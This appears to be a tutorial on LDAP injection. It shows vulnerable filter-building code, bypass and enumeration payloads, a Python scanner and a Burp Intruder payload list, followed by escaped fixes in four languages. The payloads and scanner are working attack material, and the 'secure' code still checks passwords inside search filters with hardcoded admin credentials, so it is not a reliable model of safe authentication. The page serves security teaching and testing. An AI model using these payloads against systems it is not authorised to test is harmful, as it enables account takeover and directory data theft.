#LDAP Injection

pythonfrom ldap3 import Server, Connection, ALL

def authenticate_user(username, password):
    server = Server('ldap://company-dc.local', get_info=ALL)
    conn = Connection(server, 'cn=admin,dc=company,dc=local', 'admin_password')
    conn.bind()

    # VULNERABLE: Direct string concatenation
    ldap_filter = f"(&(uid={username})(password={password}))"

    conn.search('ou=users,dc=company,dc=local', ldap_filter)

    if conn.entries:
        return True  # User authenticated
    return False

# Attack payload
username = "admin)(&"
password = "anything"

# Resulting query: (&(uid=admin)(&)(password=anything))
# Returns admin user without password verification!

textUsername: admin)(&))
Password: [anything]

Username: admin)(|(uid=*))
Password: [ignored]

Username: *)(uid=*))(|(uid=*
Password: [ignored]

Username: admin)(!(&(objectClass=void)
Password: [ignored]

python# Vulnerable search function
def search_employees(name):
    # VULNERABLE: No input sanitization
    ldap_filter = f"(cn={name})"
    conn.search('ou=employees,dc=company,dc=local', ldap_filter)
    return conn.entries

# Normal search
search_employees("John Smith")
# Query: (cn=John Smith)
# Returns: John Smith's employee record

# Malicious search
search_employees("*)(objectClass=*)(cn=admin")
# Query: (cn=*)(objectClass=*)(cn=admin)
# Returns: ALL directory entries including admin accounts!

textAttacker gains access to:
- All user accounts and passwords
- Admin credentials
- Group memberships
- Security permissions
- Email addresses
- Phone numbers
- Organizational structure

pythonimport ldap3
from ldap3 import Server, Connection, ALL
import time

def test_ldap_injection(target_url, username_field, password_field):
    """Test for LDAP injection vulnerabilities"""

    test_payloads = [
        # Authentication bypass
        ("admin)(&", "anything"),
        ("admin)(|(uid=*))", "password"),
        ("*)(uid=*))(|(uid=*", "test"),
        ("admin)(!(&(objectClass=void)", "pass"),

        # Information extraction
        ("*", "*"),
        ("*)(objectClass=*", "test"),
        ("admin*", "*"),

        # Attribute extraction
        ("*)(mail=*", "pass"),
        ("*)(objectClass=user", "test")
    ]

    vulnerabilities = []

    for username, password in test_payloads:
        try:
            # Send request to application
            response = requests.post(
                target_url,
                data={
                    username_field: username,
                    password_field: password
                }
            )

            # Check for successful authentication
            if "welcome" in response.text.lower() or "dashboard" in response.text.lower():
                vulnerabilities.append({
                    'payload': (username, password),
                    'type': 'Authentication Bypass',
                    'severity': 'CRITICAL'
                })
                print(f"[!] VULNERABLE: Payload '{username}' bypassed authentication!")

            # Check for error messages revealing LDAP
            elif "ldap" in response.text.lower():
                vulnerabilities.append({
                    'payload': (username, password),
                    'type': 'Information Disclosure',
                    'severity': 'MEDIUM'
                })
                print(f"[!] Info Leak: LDAP mentioned in response for '{username}'")

            time.sleep(0.5)  # Be nice to the server

        except Exception as e:
            print(f"[-] Error testing payload '{username}': {e}")

    return vulnerabilities

# Test your application
vulns = test_ldap_injection(
    'https://portal.example.com/login',
    'username',
    'password'
)

if vulns:
    print(f"\n[!] Found {len(vulns)} LDAP injection vulnerabilities!")
    for vuln in vulns:
        print(f"  - {vuln['type']}: {vuln['payload']}")
else:
    print("[+] No LDAP injection vulnerabilities detected")

python# Burp Intruder payload list for LDAP injection
payloads = """
*
*)(&
*)(uid=*))(|(uid=*
admin)(&))
admin)(|(uid=*))
admin)(!(&(objectClass=void))
*)(objectClass=*)
*)(mail=*
admin*
*)(cn=admin
"""

# Configure Burp Intruder:
# 1. Set payload position at username/password fields
# 2. Load payloads from above list
# 3. Grep for success indicators:
#    - "welcome"
#    - "dashboard"
#    - "admin"
#    - "ldap" in errors

pythonfrom ldap3 import Server, Connection, ALL
from ldap3.utils.conv import escape_filter_chars

def safe_authenticate(username, password):
    """Secure LDAP authentication with proper escaping"""

    server = Server('ldap://company-dc.local', get_info=ALL)
    conn = Connection(
        server,
        'cn=admin,dc=company,dc=local',
        'admin_password',
        auto_bind=True
    )

    # SECURE: Escape special LDAP characters
    safe_username = escape_filter_chars(username)
    safe_password = escape_filter_chars(password)

    # Build query with escaped inputs
    ldap_filter = f"(&(uid={safe_username})(userPassword={safe_password}))"

    # Search with escaped filter
    conn.search(
        'ou=users,dc=company,dc=local',
        ldap_filter,
        attributes=['uid', 'cn', 'mail']  # Only needed attributes
    )

    if conn.entries:
        return {
            'authenticated': True,
            'user': conn.entries[0]
        }

    return {'authenticated': False}

# The escape_filter_chars function escapes:
# * ( ) \ NUL
# Preventing all LDAP injection attacks

javascriptconst ldap = require('ldapjs');

// LDAP special character escaping function
function escapeLDAP(str) {
  return str.replace(/[*()\\]/g, function(char) {
    return '\\' + char.charCodeAt(0).toString(16).padStart(2, '0');
  }).replace(/\u0000/g, '\\00');
}

function authenticateUser(username, password) {
  const client = ldap.createClient({
    url: 'ldap://company-dc.local'
  });

  return new Promise((resolve, reject) => {
    // Bind with admin credentials
    client.bind('cn=admin,dc=company,dc=local', 'admin_password', (err) => {
      if (err) {
        return reject(err);
      }

      // SECURE: Escape user inputs
      const safeUsername = escapeLDAP(username);
      const safePassword = escapeLDAP(password);

      // Build query with escaped values
      const filter = `(&(uid=${safeUsername})(userPassword=${safePassword}))`;

      const opts = {
        filter: filter,
        scope: 'sub',
        attributes: ['uid', 'cn', 'mail']
      };

      client.search('ou=users,dc=company,dc=local', opts, (err, res) => {
        const entries = [];

        res.on('searchEntry', (entry) => {
          entries.push(entry.object);
        });

        res.on('end', () => {
          client.unbind();
          resolve({
            authenticated: entries.length > 0,
            user: entries[0] || null
          });
        });
      });
    });
  });
}

javaimport javax.naming.*;
import javax.naming.directory.*;
import javax.naming.ldap.*;
import java.util.Hashtable;

public class SecureLDAPAuth {

    /**
     * Escape LDAP special characters
     */
    private static String escapeLDAP(String input) {
        StringBuilder sb = new StringBuilder();

        for (char c : input.toCharArray()) {
            switch (c) {
                case '\\':
                    sb.append("\\5c");
                    break;
                case '*':
                    sb.append("\\2a");
                    break;
                case '(':
                    sb.append("\\28");
                    break;
                case ')':
                    sb.append("\\29");
                    break;
                case '\0':
                    sb.append("\\00");
                    break;
                default:
                    sb.append(c);
            }
        }

        return sb.toString();
    }

    public static boolean authenticateUser(String username, String password) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://company-dc.local:389");
        env.put(Context.SECURITY_AUTHENTICATION, "simple");
        env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=company,dc=local");
        env.put(Context.SECURITY_CREDENTIALS, "admin_password");

        try {
            DirContext ctx = new InitialDirContext(env);

            // SECURE: Escape inputs
            String safeUsername = escapeLDAP(username);
            String safePassword = escapeLDAP(password);

            // Build secure filter
            String filter = String.format(
                "(&(uid=%s)(userPassword=%s))",
                safeUsername,
                safePassword
            );

            SearchControls controls = new SearchControls();
            controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
            controls.setReturningAttributes(new String[]{"uid", "cn", "mail"});

            NamingEnumeration<SearchResult> results = ctx.search(
                "ou=users,dc=company,dc=local",
                filter,
                controls
            );

            boolean authenticated = results.hasMore();

            ctx.close();
            return authenticated;

        } catch (NamingException e) {
            System.err.println("LDAP authentication error: " + e.getMessage());
            return false;
        }
    }
}

php<?php

function escapeLDAP($str) {
    // Escape LDAP special characters
    $replacements = [
        '\\' => '\\5c',
        '*'  => '\\2a',
        '('  => '\\28',
        ')'  => '\\29',
        "\0" => '\\00'
    ];

    return str_replace(
        array_keys($replacements),
        array_values($replacements),
        $str
    );
}

function authenticateUser($username, $password) {
    $ldapConn = ldap_connect('ldap://company-dc.local');

    ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);

    // Bind with admin credentials
    $bind = ldap_bind($ldapConn, 'cn=admin,dc=company,dc=local', 'admin_password');

    if (!$bind) {
        return false;
    }

    // SECURE: Escape user inputs
    $safeUsername = escapeLDAP($username);
    $safePassword = escapeLDAP($password);

    // Build secure filter
    $filter = "(&(uid=$safeUsername)(userPassword=$safePassword))";

    $result = ldap_search(
        $ldapConn,
        'ou=users,dc=company,dc=local',
        $filter,
        ['uid', 'cn', 'mail']
    );

    $entries = ldap_get_entries($ldapConn, $result);

    ldap_close($ldapConn);

    return $entries['count'] > 0;
}
?>